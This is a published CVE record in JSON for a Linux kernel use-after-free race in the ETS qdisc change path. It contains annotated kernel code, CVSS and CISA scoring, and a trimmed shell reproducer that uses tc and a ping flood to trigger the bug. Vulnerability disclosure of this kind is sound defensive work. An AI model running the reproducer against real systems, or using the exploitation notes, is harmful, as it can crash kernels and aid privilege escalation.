{
    "dataType": "CVE_RECORD",
    "dataVersion": "5.2",
    "cveMetadata": {
        "cveId": "CVE-2025-71066",
        "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "state": "PUBLISHED",
        "assignerShortName": "Linux",
        "dateReserved": "2026-01-13T15:30:19.646Z",
        "datePublished": "2026-01-13T15:31:21.931Z",
        "dateUpdated": "2026-08-05T12:11:49.113Z"
    },
    "containers": {
        "cna": {
            "providerMetadata": {
                "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
                "shortName": "Linux",
                "dateUpdated": "2026-08-05T12:11:49.113Z"
            },
            "descriptions": [
                {
                    "lang": "en",
                    "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: ets: Always remove class from active list before deleting in ets_qdisc_change\n\nzdi-disclosures@trendmicro.com says:\n\nThe vulnerability is a race condition between `ets_qdisc_dequeue` and\n`ets_qdisc_change`.  It leads to UAF on `struct Qdisc` object.\nAttacker requires the capability to create new user and network namespace\nin order to trigger the bug.\nSee my additional commentary at the end of the analysis.\n\nAnalysis:\n\nstatic int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt,\n                          struct netlink_ext_ack *extack)\n{\n...\n\n      // (1) this lock is preventing .change handler (`ets_qdisc_change`)\n      //to race with .dequeue handler (`ets_qdisc_dequeue`)\n      sch_tree_lock(sch);\n\n      for (i = nbands; i < oldbands; i++) {\n              if (i >= q->nstrict && q->classes[i].qdisc->q.qlen)\n                      list_del_init(&q->classes[i].alist);\n              qdisc_purge_queue(q->classes[i].qdisc);\n      }\n\n      WRITE_ONCE(q->nbands, nbands);\n      for (i = nstrict; i < q->nstrict; i++) {\n              if (q->classes[i].qdisc->q.qlen) {\n\t\t      // (2) the class is added to the q->active\n                      list_add_tail(&q->classes[i].alist, &q->active);\n                      q->classes[i].deficit = quanta[i];\n              }\n      }\n      WRITE_ONCE(q->nstrict, nstrict);\n      memcpy(q->prio2band, priomap, sizeof(priomap));\n\n      for (i = 0; i < q->nbands; i++)\n              WRITE_ONCE(q->classes[i].quantum, quanta[i]);\n\n      for (i = oldbands; i < q->nbands; i++) {\n              q->classes[i].qdisc = queues[i];\n              if (q->classes[i].qdisc != &noop_qdisc)\n                      qdisc_hash_add(q->classes[i].qdisc, true);\n      }\n\n      // (3) the qdisc is unlocked, now dequeue can be called in parallel\n      // to the rest of .change handler\n      sch_tree_unlock(sch);\n\n      ets_offload_change(sch);\n      for (i = q->nbands; i < oldbands; i++) {\n\t      // (4) we're reducing the refcount for our class's qdisc and\n\t      //  freeing it\n              qdisc_put(q->classes[i].qdisc);\n\t      // (5) If we call .dequeue between (4) and (5), we will have\n\t      // a strong UAF and we can control RIP\n              q->classes[i].qdisc = NULL;\n              WRITE_ONCE(q->classes[i].quantum, 0);\n              q->classes[i].deficit = 0;\n              gnet_stats_basic_sync_init(&q->classes[i].bstats);\n              memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats));\n      }\n      return 0;\n}\n\nComment:\nThis happens because some of the classes have their qdiscs assigned to\nNULL, but remain in the active list. This commit fixes this issue by always\nremoving the class from the active list before deleting and freeing its\nassociated qdisc\n\nReproducer Steps\n(trimmed version of what was sent by zdi-disclosures@trendmicro.com)\n\n```\nDEV=\"${DEV:-lo}\"\nROOT_HANDLE=\"${ROOT_HANDLE:-1:}\"\nBAND2_HANDLE=\"${BAND2_HANDLE:-20:}\"   # child under 1:2\nPING_BYTES=\"${PING_BYTES:-48}\"\nPING_COUNT=\"${PING_COUNT:-200000}\"\nPING_DST=\"${PING_DST:-127.0.0.1}\"\n\nSLOW_TBF_RATE=\"${SLOW_TBF_RATE:-8bit}\"\nSLOW_TBF_BURST=\"${SLOW_TBF_BURST:-100b}\"\nSLOW_TBF_LAT=\"${SLOW_TBF_LAT:-1s}\"\n\ncleanup() {\n  tc qdisc del dev \"$DEV\" root 2>/dev/null\n}\ntrap cleanup EXIT\n\nip link set \"$DEV\" up\n\ntc qdisc del dev \"$DEV\" root 2>/dev/null || true\n\ntc qdisc add dev \"$DEV\" root handle \"$ROOT_HANDLE\" ets bands 2 strict 2\n\ntc qdisc add dev \"$DEV\" parent 1:2 handle \"$BAND2_HANDLE\" \\\n  tbf rate \"$SLOW_TBF_RATE\" burst \"$SLOW_TBF_BURST\" latency \"$SLOW_TBF_LAT\"\n\ntc filter add dev \"$DEV\" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2\ntc -s qdisc ls dev $DEV\n\nping -I \"$DEV\" -f -c \"$PING_COUNT\" -s \"$PING_BYTES\" -W 0.001 \"$PING_DST\" \\\n  >/dev/null 2>&1 &\ntc qdisc change dev \"$DEV\" root handle \"$ROOT_HANDLE\" ets bands 2 strict 0\ntc qdisc change dev \"$DEV\" root handle \"$ROOT_HANDLE\" ets bands 2 strict 2\ntc -s qdisc ls dev $DEV\ntc qdisc del dev \"$DEV\" parent \n---truncated---"
                }
            ],
            "metrics": [
                {
                    "cvssV3_1": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
                        "baseScore": 7.8,
                        "baseSeverity": "HIGH"
                    },
                    "scenarios": [
                        {
                            "lang": "en",
                            "value": "AV:L - Exploitation requires local rtnetlink qdisc configuration and locally generated traffic reaching the ETS dequeue path.\nAC:L - The attacker controls both racing paths by issuing qdisc changes while driving packet dequeue, and can deterministically create the stale active-list state. Although the UAF window is narrow, preemptible, RT, or virtualized scheduling makes it plausible, and the higher-severity tie-break requires L.\nPR:L - RTM_NEWQDISC requires CAP_NET_ADMIN in the target network namespace. An unprivileged user can obtain that capability by creating user and network namespaces on deployments permitting unprivileged user namespaces.\nUI:N - No victim action is required after the attacker configures ETS and generates concurrent traffic.\nS:U - The corruption and resulting kernel compromise occur within the Linux kernel’s existing security authority; standard namespace escape or kernel privilege escalation does not change CVSS scope.\nC:H - The freed Qdisc can be reclaimed with attacker-influenced contents and dereferenced through its operations pointer, supporting kernel memory disclosure primitives.\nI:H - The UAF reaches an indirect peek function call through the freed Qdisc operations pointer, making control-flow hijacking and arbitrary kernel modification defensible.\nA:H - The flaw demonstrably causes a KASAN use-after-free or NULL-pointer kernel oops and can produce a kernel panic."
                        }
                    ]
                }
            ],
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                            "negate": false,
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                {
                    "url": "https://git.kernel.org/stable/c/ce052b9402e461a9aded599f5b47e76bc727f7de"
                }
            ],
            "title": "net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change",
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        "adp": [
            {
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                                "type": "CWE",
                                "cweId": "CWE-362",
                                "lang": "en",
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                            }
                        ]
                    }
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                "metrics": [
                    {
                        "cvssV3_1": {
                            "scope": "CHANGED",
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                            "attackVector": "LOCAL",
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                            "integrityImpact": "HIGH",
                            "userInteraction": "NONE",
                            "attackComplexity": "HIGH",
                            "availabilityImpact": "HIGH",
                            "privilegesRequired": "HIGH",
                            "confidentialityImpact": "HIGH"
                        }
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                    {
                        "other": {
                            "type": "ssvc",
                            "content": {
                                "timestamp": "2026-05-22T03:55:51.470582Z",
                                "id": "CVE-2025-71066",
                                "options": [
                                    {
                                        "Exploitation": "none"
                                    },
                                    {
                                        "Automatable": "no"
                                    },
                                    {
                                        "Technical Impact": "total"
                                    }
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                                "role": "CISA Coordinator",
                                "version": "2.0.3"
                            }
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                "title": "CISA ADP Vulnrichment",
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}